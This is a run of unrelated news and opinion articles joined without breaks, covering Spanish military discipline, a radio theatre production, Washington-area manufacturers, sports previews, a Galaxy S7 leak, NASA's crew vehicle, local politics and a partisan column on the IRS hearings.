ativamente por tercera vez por la cúpula militar. Contra la cúpula militar "seudofascista" Una de las principales cruzadas de Segura en este año de lucha contra el statu quo de las Fuerzas Armadas ha sido la carga contra una cúpula militar que califica como "seudofascista". El teniente ha denunciado que el Ejército está dominado por una serie de "casas feudales", familias de tradición militar que controlan todo lo que pasa de puertas adentro, con el beneplácito del poder político. Diputados con Irene Lozano han denunciado también esta situación. Esta clase dirigente militar, de una ideología "ultraconservadora", cercena cualquier otra corriente que detecta en la milicia, acusa Segura. "En el Ejército solo hay una línea posible que es la línea ultraconservadora, la podemos llamar seudofascista, y es lo único que se permite. Hay libertad de expresión siempre y cuando expreses ideas seudofascistas", manifestaba. "La izquierda debe intentar superar estos problemas que han surgido con las Fuerzas Armadas, con la Guardia Civil, con la Policía Nacional, que en un momento dado fueron utilizados como órganos de represión durante la dictadura", sostenía el teniente, pidiendo la colaboración de la ciudadanía en el proceso de cambio que pide para el Ejército. Meses de arrestos administrativos Este tipo de declaraciones, sumadas a las publicaciones de su blog, provocaron las ira de la cúpula militar a la que criticaba. En diciembre, el Jefe del Estado Mayor del Ejército (JEME) ordenó su arresto administrativo —una potestad de los mandos militares por la que el Gobierno se ve obligado a mantener una reserva al Convenio Europeo de Derechos Humanos— por motivos "preventivos". El JEME ordenó que se le recluyera el período máximo que permitía entonces el Régimen Disciplinario Militar, que entonces era de 60 días. Antes, el teniente había sido sancionado con otros 60 días por declarar que él no obedecería una supuesta orden de entrada en Catalunya, en el contexto de la votación soberanista del pasado nueve de noviembre. En total, Segura ha acumulado seis meses de arrestos en menos de un año. "Mi lucha continúa", ha afirmado tras conocer la noticia, adelantando que acudirá a los tribunales para demostrar que sus revelaciones eran ciertas y que su expulsión es, por tanto, injusta.Salomé - James Marsters, Kate Steele and John Vickery head the cast when L.A. Theatre Works presents Oscar Wilde's masterpiece, the story of the exotic and seductive young woman whose obsession with revenge leads this Biblical tale to its inevitable end - the beheading of Jokanaan (John the Baptist), and Salomé's infamous dance of the seven veils. The last of Wilde's plays to be produced in his lifetime, Salomé was fraught with scandal and considered so provocative that it was frequently banned. All performances will be recorded live in front of an audience (without sets or costumes) to air on L.A. Theatre Works' syndicated radio theater series, which broadcasts weekly on public radio stations nationwide (locally, in Southern California, on KPFK 90.7 FM) and can be streamed on demand at www.latw.org. Written by Oscar Wilde, the production is directed by Michael Hackett and will feature Rosalind Ayres, James Marsters, André Sogliuzzo, Kate Steele, John Vickery and Matthew Wolf. It is produced by Susan A. Loewenberg. SHOWS:Thursday, Jan. 30 @ 8 pmFriday, Jan. 31 @ 8 pmSaturday, Feb. 1 @ 3 pm & 8 pmSunday, Feb. 2 @ 4 pm All performances take place at the James Bridges Theater, UCLA School of Theater, Film and Television, located at 235 Charles E. Young Drive, Los Angeles, CA 90095 (enter UCLA from Hilgard just south of Sunset Blvd.; park in Lot 3 on the lower level). For tickets ($15-$60), call 310-827-0889 or visit www.latw.org L.A. Theatre Works' radio theater series can be streamed on demand at www.latw.org. L.A. Theatre Works can be heard on the following stations (check local listings for broadcast times): KPFK 90.7 FM in Los Angeles (98.7 FM in Santa Barbara, 99.5 FM in Ridgecrest/China Lake and 93.7 FM in Rancho Bernardo/North San Diego); 891.5 WBEZ, Chicago; 94.9 KUOW, Seattle; 91.1 KRCB, North Bay (San Francisco); and in over 75 markets nationwide. Join L.A. Theatre Works on Facebook at www.facebook.com/LATheatreWorks, or follow on Twitter @latheatreworks. Related Articles Shows View More Los Angeles Stories More Hot Stories For YouSundog Productions began as a humble tie-dye shop that its founder launched from his parents' garage. Today, the company's Fairfax manufacturing plant spans 40,000 feet and ships about 1.2 million units of clothing a year. Here, Alexandra Devlin applies colored dyes on a row of T-shirts. Sundog Productions began as a humble tie-dye shop that its founder launched from his parents' garage. Today, the company's Fairfax manufacturing plant spans 40,000 feet and ships about 1.2 million units of clothing a year. Here, Alexandra Devlin applies colored dyes on a row of T-shirts. Jeffrey MacMillan/For The Washington Post The Washington region is not known as a hub for manufacturing, but these companies have found that making things here is a viable business model. The Washington region is not known as a hub for manufacturing, but these companies have found that making things here is a viable business model. The Washington region is not known as a hub for manufacturing, but these companies have found that making things here is a viable business model. It’s been one of the most consequential changes to the U.S. labor market over the last several decades: Manufacturing jobs have disappeared as assembly lines have become increasingly automated and as companies find it is cheaper to make their goods overseas. In 2003, nearly 15 million Americans were employed in manufacturing jobs, but that number had dipped below 12 million by 2013. The trend hasn’t been as crushing in the Washington region as in Rust Belt cities such as Detroit and Youngstown, Ohio, because manufacturing is one of the smaller slices of this area’s economy. Still, the trajectory for manufacturing jobs here hasn’t been much different from national trends: The industry shed 20,000 jobs in this region between 2003 and 2013, a 27 percent decrease. But despite the losses, there are still nearly 50,000 people employed locally in manufacturing jobs, a sign that some companies in this sector are still finding reasons to make their products stateside. For these businesses, making things in America — in the Washington area, specifically — is still a viable model, even if it brings with it some tough challenges. Here’s a look at three firms that are keeping their manufacturing jobs here and why they’re finding that to be good business. Sundog Productions Fairfax-based manufacturer of T-shirts and other garments. Cas Shiver started his T-shirt business in 1986 in his parents’ garage. Thanks in part to a big boost from a 1991 contract with Ralph Lauren to produce 80,000 T-shirts and other apparel, Sundog Productions grew from a small tie-dye shop to a bustling garment-making operation that includes cutting, sewing, dyeing, embroidering and printing. As Sundog expanded, Shiver worked to keep in Virginia the kinds of jobs that many other manufacturers had outsourced. Unsurprisingly, he repeatedly missed out on business opportunities by sticking to that principle. “I fell on my sword all throughout the ’90s with ‘made in America,’ and nobody cared,” Shiver said. Prospective customers would tell him, “We want what you do, but it’s too expensive.” And so Shiver kept his operation in Fairfax, but in 2004 he opened a second facility in Amatitlan, Guatemala. Wages were lower there — his workers made the equivalent of $12 a day — and so he was able to slash prices on products made in that location. By contrast, his hourly workers in Virginia are paid anywhere from $7.50 to $18 per hour, and most employees in the dyeing area make between $15 to $25 an hour. “In going down to Guatemala, we were able to accept orders from the big boys,” Shiver said, including major global retailers such as Kohl’s, Kmart and Wal-Mart. He maintained the dual operations for several years, but eventually nature forced a reassessment of that strategy. A punishing tropical storm flooded the Guatemala factory in 2010, and Shiver opted not to rebuild it. He found it difficult to keep an eye on two facilities, and he said the business model for the Guatemala plant was thorny. “The reality was it was feast or famine. You get an order from Kohl’s, it’ll keep you busy for a month,” Shiver said. But then there might be lulls in between massive orders, a problem he didn’t have stateside where he has smaller orders. And business challenges aside, the Guatemala venture never quite jibed with Shiver’s belief in the importance of “made in America” products. Now, Shiver focuses on Sundog’s Fairfax operations. The company relocated in June to a renovated 40,000 square-foot facility on Jermantown Road that is larger than its previous outpost and capable of greater output. The factory ships 1.2 million units a year to customers such as Disney, Universal Studios, Crayola and Joe’s Crab Shack. Sundog can no longer give mega-retailers the low prices they demand, though, so it doesn’t contract with those companies. Shiver said it can be difficult to find the workers he needs in this region. “The middle classes are grooming their children to be somebody bigger and better... Nobody was groomed to say, ‘I want to be a sewer on my production floor. And that’s what I want to do.’ But I need people to be able to do that,” Shiver said. Still, he sees advantages in his current set-up. Shiver said Fairfax city officials helped move his renovation along at a speedy pace. The project took about 14 months; he estimates in another jurisdiction, it might have taken several years. Virginia also gave Sundog a $53,000 grant for a solar heating system for its water, which has been helping the company conserve resources. Shiver said he believes his business’s unique capabilities give him a leg up on competition: Because Sundog does so many steps of the garment-making process under one roof, the company can offer its customers a way to reduce their shipping costs and carbon footprint. In its vast new space, Sundog has room to grow. “The factory you see here actually can come close to tripling in production,” Shiver said. “The big issue is demand.” Patton Electronics Gaithersburg-based manufacturer of wireless routers, ethernet extenders and other electronic products. More than 70 percent of Patton Electronics’ products are shipped to customers outside the United States. And yet the maker of wireless routers, ethernet extenders and voice-over-IP technology has not moved any of its manufacturing positions away from its headquarters in Gaithersburg. Robert Patton, the firm’s president and chief executive, said part of his strategy is the simple belief that it’s the patriotic thing to do. “We want to keep the jobs here because we believe it’s the best thing for our country,” Patton said. But he has other reasons, too, for staying in Gaithersburg. For one, he doesn’t think that the set-up of many overseas factories is a good fit for his business. That’s because Patton products are often highly customized: Some go out under different brand names, and thus Patton needs to be able to easily change the product labeling and packaging. Patton said that level of customization is not something he believes can be easily managed at an overseas facility. Patton also said he’s found that many international manufacturing outposts want to be paid up front and prefer to receive orders for a large quantity of items. “That inventory carrying cost can really be a killer on your balance sheet,” Patton said. These challenges have led Patton to conclude it makes more sense to keep production in Maryland. Plus, Gaithersburg has the advantage of being near the federal government, one of the company’s key customers. Still, Patton said there are some drawbacks to staying here. One is the lack of business partners that have expertise in the needs of the manufacturing industry. “There are just not many accountants that understand manufacturing, there aren’t many banks that understand manufacturing and exporting,” Patton said. “All of the professional services that go along with a business like ours, they’re just not as well entrenched in the space.” Micron Manassas-based manufacturer of semiconductors. Micron’s sprawling semiconductor factory in Manassas is just one of the company’s dozens of high-tech facilities across the globe. The plant produces the memory that is crucial to the functionality of many of our gadgets, from USB drives and smartphones to televisions and automobiles. Micron has worked in the past decade to automate much of the activity in its clean room. Instead of having workers carry a product from one step to another of the assembly process, a robotic system now makes those transfers. This transformation helped improve productivity by about 60 percent, and yet it has not led to a reduction in Micron’s Manassas-based workforce. In fact, the plant has added employees. “We actually ended up requiring different skill sets,” said Raj Narasimhan, the site director. Narasimhan said the changes have meant the company’s entry-level workers need to have a higher level of analytical reasoning and deduction. In order to get employees up to speed, the company partnered with Northern Virginia Community College to offer classes that were scheduled around Micron’s shifts. Some 350 workers went through the training. Because many of Micron’s jobs now demand strong technical skills, Narasimhan said their nearness to NVCC and other universities has provided a valuable pipeline of talented workers. “In Virginia, it’s pretty impressive the amount of talent that we have, engineering and technicians talent,” Narasimhan said. That Micron is the only semiconductor factory in the region has both upsides and downsides: It doesn’t face direct competition for attracting and recruiting employees. But, “when it comes to vendors that we buy equipment from, given that we’re the only one, essentially, in an eight-hour drive up north that does this kind of work, the support from them is hard to get,” Narasimhan said. Micron also said it has remained in this region because of its relationship with the city of Manassas. Micron uses more than 50 percent of all the electricity in the city, an expenditure that costs the company close to $25 million per year. By simply keeping those rates competitive, Narasimhan said Manassas has been an important supporter of the business. “Even if the rate is down by a cent, it makes a big difference,” Narasimhan said.Durham Regional Police say the body of a man pulled from Lake Ontario on the weekend has been identified as an Oshawa man missing since January. Cameron Bailie, 27, was reported missing on Jan. 10, 2017. He was last seen at his home on Oxford Street in Oshawa. His body was found by people walking in Lakeview Park in Oshawa Harbour at the bottom of Simcoe Street South on Saturday. Oshawa Fire Services used its boat to retrieve his body. Police said in a news release on Tuesday that foul play is not suspected in his death. An autopsy on Monday confirmed his identity. Toxicology tests will be done to confirm cause of death. When he went missing, family members and coworkers told police that his disappearance was out of character for him. More than 5,500 people joined a Cameron Bailie search group on Facebook and $5,000 reward had been offered for information in his disappearance. Anyone with new information about his death is asked to contact Det. Sitaram of Central East Division at 1-888-579-1520 ext. 2741.The last time Original Six rivals the Detroit Red Wings and Chicago Blackhawks met in the playoffs was in the 2009 Western Conference finals, with the Blackhawks the young bucks still figuring things out and the Red Wings the veteran contenders en route to another Stanley Cup finals. How things have changed. The Blackhawks were Cup champions in 2010, but the Wings have since fallen off their elite pedestal a bit, falling to San Jose in the second round in 2011 and in the first round to Nashville last season. However, the No. 7-seeded Wings showed in their first-round upset of No. 2-seeded Anaheim that they still have the heart of a champion, with Henrik Zetterberg and Pavel Datsyuk stepping up big time to further cement their reputations as clutch playoff performers. The top-seeded Hawks swept the regular-season series with Detroit, although three of the games needed extra time. It's compelling when these two rivals meet, and this series should be no different. 1. How taxed are the Red Wings? Detroit needed seven grueling games while traveling across three time zones to get past the Ducks. What's left in the tank? The Blackhawks, meanwhile, stayed in the same time zone while dispatching Minnesota in a tidy five-game set. They obviously have the fresher legs entering this series, and that factor can't be ignored. 2. The goalies have responded It seems Chicago's Corey Crawford and Detroit's Jimmy Howard are always having to prove themselves to everybody. Both were solid in the opening round. Howard stopped 204 of 224 shots faced (.911 save percentage), and a couple of those goals came on crazy deflections off teammates. He especially raised his game under more pressure in Games 6 and 7 with his team's season on the line. Crawford, who won all four regular-season games versus Detroit, stopped 132 of 139 shots in the first round for a.950 save percentage. He looked very confident, but it should be noted that the Wild's offense isn't exactly the most dangerous outfit in the league. Still, for Crawford, it was a first career playoff series victory, and that's an important notch on his belt. 3. Datsyuk and Zetterberg revving up The extra gear Datsyuk and Zetterberg found in the final two games against the Ducks was the difference in the series. The two world-class stars showed their championship acumen by stepping it up with Detroit down 3-2 in the series. That's a gear the Ducks' top players never found. What's different in this second-round series is that you know Chicago captain Jonathan Toews will answer the bell in kind, as will teammates Patrick Kane, Patrick Sharp and Marian Hossa. They're as clutch as they come. But the Zetterberg-Datsyuk duo will be the absolute point of focus for the Hawks. It's a step up from anything the Wild could throw at them in the previous round. Wings head coach Mike Babcock had his two stars on the same line for the first six games of the Anaheim series but split them up for Game 7, a move that helped the Wings jump out to an early lead in that game. How Babcock decides to deploy Datsyuk and Zetterberg against the Hawks will be a storyline throughout the series, given the weapons Chicago has. 4. Sharp has been sharp The most overlooked star on the Blackhawks has been forward Patrick Sharp. He simply does his thing without much fanfare. However, it's hard to ignore his team-leading five goals in the opening round. Although Toews and Kane played well, they didn't score in the opening round. Sharp was the man filling the net, and as always, that's why the Blackhawks are so difficult to match up against. While the Hawks likely feel reasonably confident they can win games if they stop Datsyuk and Zetterberg, Chicago can find other ways to beat the Wings if Toews and Kane have off nights. The Hawks are deeper up front, and Sharp is an important aspect of that depth. He's a consistent performer and raises his game come playoff time. 5. Interesting coaching matchup Detroit's Babcock and Chicago's Joel Quenneville are two of the game's brightest minds, both with Stanley Cup rings to their credit. It will be fascinating to watch the chess match between the coaches in terms of matchups, but also the manner in which each will deal with the media and try to get his messages across from game to game. Both coaches preach and believe in a positive brand of hockey, and their styles are fun to watch. • I just think the Wings emptied the tank while upsetting the Ducks. Frankly, it's remarkable what they've already accomplished this year, given the losses of defensemen Nicklas Lidstrom and Brad Stuart from last season, and this season's patchwork blue line. Chicago is just too deep and too talented. Blackhawks in 6.Samsung's Indonesian arm may have shown off the Galaxy S7 almost a week earlier than planned. An unlisted commercial marked #TheNextGalaxy and posted to the branch's official YouTube channel shows Indonesian archer Dellie Threesyadinda training while using an unnamed Samsung phone. As rumored, the phone in the video appears to be very similar to last year's Galaxy S6 and S6 Edge, with a curved-screen Edge variant on show. The video doesn't name the model being used or even whether it is a new phone, but Threesyadinda seems comfortable enough using it in a downpour, suggesting the rumored return to waterproofing is a go. The phone is also seen being used with a wireless charging pad. A teaser website also located in Indonesia confirmed the name Galaxy S7 (with a sentence since removed; see image below) and provides further hints: a page with bubbles and the caption "worry-less discovery" is further evidence for waterproofing, while a lock icon and "experience privacy at its finest" implies extra security, and "bring light to the night" alongside an image of a camera lens may mean better low-light photography. Samsung is set to officially unveil the Galaxy S7 at 1PM ET this Sunday February 21st at Mobile World Congress in Barcelona. Update February 17th, 8:00AM ET: Upon further inspection of other leaks of the Galaxy S7, the device in the video differs slightly:CEDAR RAPIDS — A new restaurant will be serving up food and drinks in the space vacated by Rock Top, the rooftop bar and restaurant that closed Friday after only four months of operation. Richard Pankey, current owner of Cedar Rapids’s Butcher Block Steakhouse, Riley’s and Daisy’s Garage, told The Gazette Monday afternoon that he plans to open a new restaurant at 951 Blairs Ferry Rd. NE, early this spring. Pankey said the new business is going to have a menu and concept that is different from Rock Top’s. Rock Top officially closed its doors at 11 p.m. Friday, Jan. 6, after serving food and drinks half-off on the last day. The closing was announced Friday on the restaurant’s Facebook page. It had about two dozen employees. “With sadness, we are closing our doors after only a brief time,” according to the Facebook post. “We will, indeed, make some necessary changes and consider our options for the future. It’s been a pleasure serving you, and we hope to bring you something bigger and better soon!” Rock Top opened Sept. 9, in a brand-new, two-story building owned by developer Todd Culver. Rock Top owners Dave Carey, Nate Bigley and Ryan Evans and Carrie Kraklio, its general manager, did not respond to calls for comment. Though Culver did not answer calls for comment on Monday, Pankey said Culver called him Monday afternoon. “We’ve had a business relationship for the last two and a half years,” Pankey said. “He contacted me and said that he would like us to consider taking over the operation there.” Pankey said it is too early to tell what modifications will be made, but he hopes to open a restaurant in the space by late winter or early spring. He said he would be open to hiring former Rock Top employees. “What attracted me to the building was its location, the unique look of the building,” he said. “The building has a trendy look. We’re excited and anxious to roll out some of the new plans. Hopefully (area residents) will come and enjoy it.” l Comments: (319) 368-8516; makayla.tendall@thegazette.comStory highlights Republican and Democratic lawmakers and aides have so far found no evidence that Obama administration officials did anything unusual or illegal Their private assessment contradicts President Trump's allegations that former Obama national security adviser Susan Rice broke the law by requesting the "unmasking" of US individuals' identities Washington (CNN) After a review of the same intelligence reports brought to light by House Intelligence Chairman Devin Nunes, both Republican and Democratic lawmakers and aides have so far found no evidence that Obama administration officials did anything unusual or illegal, multiple sources in both parties tell CNN. Their private assessment contradicts President Donald Trump's allegations that former Obama national security adviser Susan Rice broke the law by requesting the "unmasking" of US individuals' identities. Trump had claimed the matter was a "massive story." However, over the last week, several members and staff of the House and Senate intelligence committees have reviewed intelligence reports related to those requests at NSA headquarters in Fort Meade, Maryland. One congressional intelligence source described the requests made by Rice as "normal and appropriate" for officials who serve in that role to the president. And another source said there's "absolutely" no smoking gun in the reports, urging the White House to declassify them to make clear there was nothing alarming in the documents. Read MoreImage caption The MPCV will take humans beyond the ISS, to destinations such as Mars Nasa has confirmed that the vehicle it will use to send astronauts to places like asteroids will be based on its Orion capsule concept. Orion was the ship being built to return America to the Moon before the project was cancelled last year by President Barack Obama. The US space agency says the financial investment and the engineering lessons learned should not be wasted. It wants the new Multi-Purpose Crew Vehicle to benefit from that heritage. Mr Obama has said he would like humans to visit a space rock in the 2020s. The MPCV would be the ship that takes them there. It would also have a role in any human mission to Mars - the destination Nasa is aiming to reach in perhaps the 2030s. Image caption Orion was conceived as a high-spec vehicle that could visit the ISS and do deep-space destinations Lockheed Martin was the American company leading the development of Orion. It will keep the prime contractor role on the new ship. "We are committed to human exploration beyond low-Earth orbit and look forward to developing the next generation of systems to take us there," said Nasa Administrator Charles Bolden in a statement. The MPCV will be capable of carrying four astronauts on 21-day missions. It would start those journeys by launching on the top of an as-yet-undefined big rocket and end them by splashing down in the Pacific off California. Nasa says the 23-ton spacecraft would have a pressurized volume of 19.5 cubic metres (690 cu ft), just over nine cubic metres (300 cu ft) of which would be habitable. On missions longer than 21 days, the MPCV would be attached to other modules. "During these missions to asteroids or Mars, or to the moons of Mars, this vehicle would be just maintained in more dormant mode while the crew would be in another volume which would have longer-term consumables and capability to support them," explained Doug Cooke, associate administrator for the agency's Exploration Systems Mission Directorate in Washington. "In terms of deep space exploration, we hope to have test flights obviously in this decade. We're not exactly sure when, but certainly as early as possible. Those would be missions beyond low-Earth orbit." Image caption Investment in Orion has already topped $5bn Orion was one of the centrepieces of former President George W Bush's Constellation programme, which sought to return Americans to the Moon using two new rockets and a high-spec capsule. But the initiative was cancelled by his successor because of its burgeoning cost - $9bn at the time Mr Obama ordered it be shut down. Investment in Orion alone to date is put at slightly more than $5bn. Many commentators expected elements of Constellation to re-surface in whatever programme replaced it, and some sort of Orion derivative was an obvious prospect. But Nasa moved swiftly on Tuesday to correct the idea that the adoption of the MPCV was somehow a move on the part of the agency to protect "old ways" of doing business. Mr Cooke said the Orion government and industry team had shown exceptional creativity in finding ways to push costs down. However, he could not say what the final development bill would be or how much the recurring costs would be on operational MPCVs. Nasa will also need at some stage to define a heavy-lift rocket to put in orbit the MPCV and any associated exploration equipment. Image caption The SpaceX company claims its Dragon capsule will also be a highly capable vehicle The US Congress, through the Nasa Authorisation Act 2010, has mandated that this rocket should be launching by the end of 2016, although the agency has previously stated that it views this timeline as challenging. It promises more details on the launcher "in the coming weeks". Nasa's current fleet of space vehicles - the shuttles - are being retired, with the Atlantis orbiter set to end their operation for good with a final flight in July. America will then rely on Russian Soyuz vehicles to get its astronauts to the International Space Station (ISS) until a new wave of US commercial carriers enter service around the middle of the decade. In the main, these crew carriers will be substantially cheaper to build and operate than the MPCV, and will not be capable of venturing beyond low-Earth orbit where the ISS resides. However, the SpaceX company claims the Dragon capsule it is developing for journeys to the ISS will eventually be able to match any task given to the Lockheed Martin ship, and do it at a greatly reduced price. Jonathan.Amos-INTERNET@bbc.co.ukSince moving to this small city on the eastern flank of Atlanta’s suburban sprawl, Lorna Francis, a hairdresser and a single mother, has found a handsome brick house to rent on a well-groomed cul-de-sac. She has found a good public school for her teenage daughter. Something Ms. Francis, who is black, has not found is time to register and vote. She was unaware that the most recent mayoral election was held last November. {snip} That kind of disengagement is one of the many reasons that only one of the six elected positions in this municipality of 15,000 is held by an African-American, even as a wave of new black residents has radiated out from nearby Atlanta, creating a black majority here for the first time in the city’s 160-year history. Disparities between the percentage of black residents and the number of black elected officials are facts of life in scores of American cities, particularly in the South. The unrest that followed the shooting death of 18-year-old Michael Brown in Ferguson, Mo., has emphasized how much local elections can matter, and prompted a push there for increased black voter participation. The disparities result from many factors: voter apathy, especially in low-visibility local elections; the civic disconnect of a transient population; the low financial rewards and long hours demanded of local officeholders; and voting systems, including odd-year elections, that are often structured in a way that discourages broad interest in local races. But Ferguson has become a vivid example of the way a history of political disengagement and underrepresentation can finally turn toxic. “I have seen this time and again in my research,” Jessica L. Trounstine, a political scientist at the University of California, Merced, said in an email. “The event/situation seems sudden–but really the stage was set long before.” Whites and blacks tend to agree that the situation is less volatile in Conyers, though many blacks cite frustrations over interactions with the police. But even here, differences in voting between the city and the county that surround it speak vividly to some of the broader issues. The chief operating officer of Conyers, David Spann, a veteran city employee who is white, said that many of the city’s minority newcomers have, like Ms. Francis, found homes in a local rental market that has exploded in part because of the foreclosure crisis. The city’s homeownership rate is 38 percent, compared with a 66 percent rate for Georgia as a whole. “When you have rental people, this is nothing against them, but they’re not as involved in the community,” Mr. Spann said. {snip} According to the International City/County Management Association, among 340 American cities where more than 20 percent of the population is black, two had councils on which blacks were overrepresented compared with their population; 209 were within one seat of their population; and 129 underrepresented blacks by more than one seat. In Conyers, not everyone considers the underrepresentation to be a problem. Cleveland Stroud, the sole black member of the City Council, argues that whites have remained in power in part because they have represented their changing constituency well. “Does a councilperson have to be black to represent black voters?” Mr. Stroud asked. A number of blacks here said that they were generally pleased with city government. {snip} {snip} White leaders here do not claim that the city, in a region where a half-century ago blacks had to drink from separate water fountains, has solved all of its racial problems. But they say that they are in fact an integrated community, particularly after a decade in which the black share of the city population shot from 33 percent to 57 percent. During the same time, whites dropped from 58 percent to 30 percent. {snip} Vince Evans, a 14-year Council veteran, said the city was full of black residents who would make great Council members. But few, he said, choose to run. “I don’t know why,” he said. One theory is that many of the new black residents are working-class people who do not have the means or the time to run for office and serve on the Council. Members are paid $75 per month; white-collar professionals currently dominate. Particularly among the poor, there is also a strain of fatalism. “This is the white man’s land,” said Vick Major, 22, who was on a run-down side street on a recent afternoon, with a pit bull straining on a nearby chain. “We stay out of everything.” {snip} In some quarters, however, whites openly worried about the ability of blacks to run things. After the 2012 election, Jonny Brown, a county board of elections member appointed by the local Republican Party, posted an online editorial comparing county government to a “little white plane” that took on more black paint over time and eventually crashed. {snip} Original Article Share ThisFRISCO, Texas – First-round draft picks tend to be players that make their MLS teams, but some were a little surprised when FC Dallas used their sixth overall pick to take Tesho Akindele from the Colorado School of Mines in the 2014 SuperDraft. Based on his recent play, the forward is meeting expectations for a Top 10 pick and arguably surpassing them. “He’s not playing like a rookie right now,” said defensive leader Matt Hedges. “He gives us another option that we haven’t had before. He’s a very athletic player, but also confident with the ball.” Before being drafted by FC Dallas, Akindele finished his college career as the all-time leading goal scorer for the Colorado School of Mines, a Division II program. That is the highest a D-II player has ever been drafted. The attacker has scored three goals and registered an assist in nine starts and three other appearances for FC Dallas in MLS play. And in the Lamar Hunt US Open Cup, he has played a major role in crucial victories, with a vital match winner against in-state rivals, the Houston Dynamo, and setting up Blas Perez for the team’s first goal against the Carolina RailHawks. “It helps our team because we can counter quickly and we can get up the field and support him, and he can hold up the ball as well,” Hedges said. “We’ve been playing more and more in behind other teams because of his pace. It’s something teams haven’t seen from us in a while and it’s something that catches them off guard." Hedges pointed to Akindele’s last goal, a 90th-minute finish to seal FC Dallas’ victory over the New England Revolution, as a sign of the forward’s maturity. And FCD manager Oscar Pareja also focused on the maturity and professionalism of Akindele's showing in Wednesday's friendly against Premier League side Aston Villa. “He keeps growing,” Pareja said. “Its great news for us, to have someone, despite his youth, is coming and playing a big role in the team right now. Against Aston Villa, everybody kept seeing a player who keeps adding good things to his game.” Born in Calgary, the rookie hopes his recent play could be strong enough to put him back on the radar screen for the Canadian national team. “I think at the beginning of the season they might have talked to some of the guys in the front office, but it isn’t something I’ve heard anything about lately,” Akindele said. “When I was 17, I played a couple of games but that was it, so there has been a big gap since then. “I feel like any time you have a chance to play international soccer you have to jump at that.” Kevin Lindstrom covers FC Dallas for MLSsoccer.com.The Sacramento County Sheriff’s Department acknowledged this week that it possesses and uses surveillance technology that allows detectives to collect location data from the cellphones of investigative targets, possibly doing so without a court order. The so-called “Stingray technology” is controversial nationwide, and questions over its use locally parallel a national debate over domestic surveillance. The device has come under fire in part because its focus is not specific: It also collects location data from
Rep. Darrell Issa (R-CA), quickly devolved into chaos after former IRS official Lois Lerner repeatedly used the Fifth Amendment to avoid answering questions about her involvement in the targeting. When Issa rose for adjournment, Rep. Elijah Cummings (D-MD) went berserk: “I am tired of this. You cannot just have a one-sided investigation. There is absolutely something wrong with that, and it is absolutely un-American.” When Issa maintained that Cummings had asked no questions, Cummings said, “Chairman, what are you hiding?” Afterward, Issa approached the media and explained, “He was talking into a mic in an adjourned meeting. The fact is Mr. Cummings came to make a point of his objections to the process we have been going through. He was actually slandering me at the moment that the mics did go off by claiming that this had not been a real investigation.” But Cummings does not care about the truth. Nor does he care about the rise of an arbitrary and capricious executive branch willing to manipulate the law at will. For too many Democrats, America under President Obama has become a government of men, not of laws – and they’re just fine with that. Rep. Dave Camp (R-MI) revealed on Wednesday that the Obama administration lied when it said that Obama aides would cooperate with the investigation into the IRS scandal. Instead, the Obama administration has claimed that the IRS scandal is in fact a non-scandal – a “phony scandal,” in the words of White House press secretary Jay Carney. Camp pointed out that the committee still did not have Lerner’s full emails. “I still don’t have all for the documents that I’ve requested,” Camp stated. “The administration promised a quick action, and I’m still waiting for her emails. I need all of those, before I can conclude.” Meanwhile, this week, the Obama administration announced that it would be shredding the Constitution in order to delay implementation of President Obama’s signature law, Obamacare. Rule changes announced on Wednesday stated that the Obama administration will allow them to keep their health plans until after the 2016 election cycle, even if those plans do not comply with the ten-point standard developed under Obamacare. This prevents fallout from President Obama’s broken promise that if you like your plan, you can keep your plan; it also allows prohibitive 2016 Democratic nominee Hillary Clinton from having to deal with that fallout. Most of all, though, it underscores the fact that America is now run by a cadre of imperial regulators free from the constraints of due process of law. The constitutional limits placed on the executive branch have been utterly destroyed, leaving only a semblance of the predictable and equally-applied legal system our founders desired. Article XXX of the Massachusetts Constitution, written by John Adams, Samuel Adams, and James Bowdoin, states: In the government of this commonwealth, the legislative department shall never exercise the executive and judicial powers, or either of them: the executive shall never exercise the legislative and judicial powers, or either of them: the judicial shall never exercise the legislative and executive powers, or either of them: to the end it may be a government of laws and not of men. That principle is now dead. The IRS exercised both legislative and judicial power in denying rights to conservative non-profits; it created a “be on the lookout list” designed to discriminate against those who were guilty of nothing. And now the Obama administration has created a monstrous bulwark of legal sophistry designed to obscure the workings of the law from the American people. There are two predictable effects springing from the Obama administration’s arbitrary devastation of the legal order: an economy in which businesses refuse to invest, and a political system in which the population refuses to invest. Today, nonfinancial companies in the United States have $1.8 trillion in cash sitting on the sidelines, according to the Federal Reserve. That’s because businesses simply don’t know what rules will be applied to them should they begin spending money on employees. Part of that arbitrariness stems from Obamacare itself, which has been revised more times than Wendy Davis’ autobiography. The American economy stagnates when businesses don’t know what to expect. Faith in the American government, meanwhile, has reached all time lows. In late 2013, polling variously showed just 19 percent of Americans trusting the government to do the right thing; 49 percent saying they had either a great deal or a fair amount of confidence in government handling our problems; and 28 percent of Americans saying they had a favorable view of the federal government. No wonder. Americans didn’t have great faith in King George III, either. As it turns out, absolute monarchy isn’t all that different from arbitrary federal government. And Elijah Cummings’ ranting against the process by which we hold the government accountable won’t raise Americans’ faith in the government one iota. Ben Shapiro is Senior Editor-At-Large of Breitbart News and author of the New York Times bestseller “Bullies: How the Left’s Culture of Fear and Intimidation Silences America” (Threshold Editions, January 8, 2013). He is also Editor-in-Chief of TruthRevolt.org. Follow Ben Shapiro on Twitter @benshapiro.49ers linebacker Navorro Bowman, who is coming back from a torn Achilles tendon, says he'll be ready for the 2017 season. In the meantime, he's doing his part to help feed the hungry for United Airlines' Rise Against Hunger campaign. Colin Resch reports. (Published Wednesday, July 12, 2017) He plays the game with ferocity, tackles rehab with tenacity and scoops rice with velocity. 49ers linebacker Navorro Bowman, who is coming back from a torn Achilles tendon, says he'll be ready for the 2017 season. In the meantime, he's doing his part to help feed the hungry for United Airlines' campaign Rise Against Hunger. "You know, my hands are sweating, so I'm obviously working hard," said Bowman, who along with former 49er Dennis Brown joined the United team at San Francisco International Airport for a meal-packing competition of sorts. "We don't have a clock on us, but I think i'm doing pretty good." The United Airlines team did a little better than good; it beat its counterparts in Newark, New Jersey, who were receiving help from the New York Giants. "It's a little something, you know, we'd like to get them out there on the gridiron, but if we can get them any way we can, we'll take it," Bowman said. The competition is simple: which side could pack the winning number of meals the fastest. "Rise Against Hunger is one of the best ways to give back to those in need, those that need to eat," said Mike Hanna, United Airlines' vice president of SFO operations. "And our employees, we've got 200 of them out here volunteering today, just to pack 20,000 meals for those that are in need. That's why it's so important to us and so important to my team." Bowman and Brown played in different eras, but one gets the sense they would have been great teammates. "I was a defensive lineman, and he is a linebacker, so it starts with me," Brown said. "I'm the first line of defense. He's the general on the football field. It's been a good partnership. "He's pulling his weight. he's making sure the bags get the 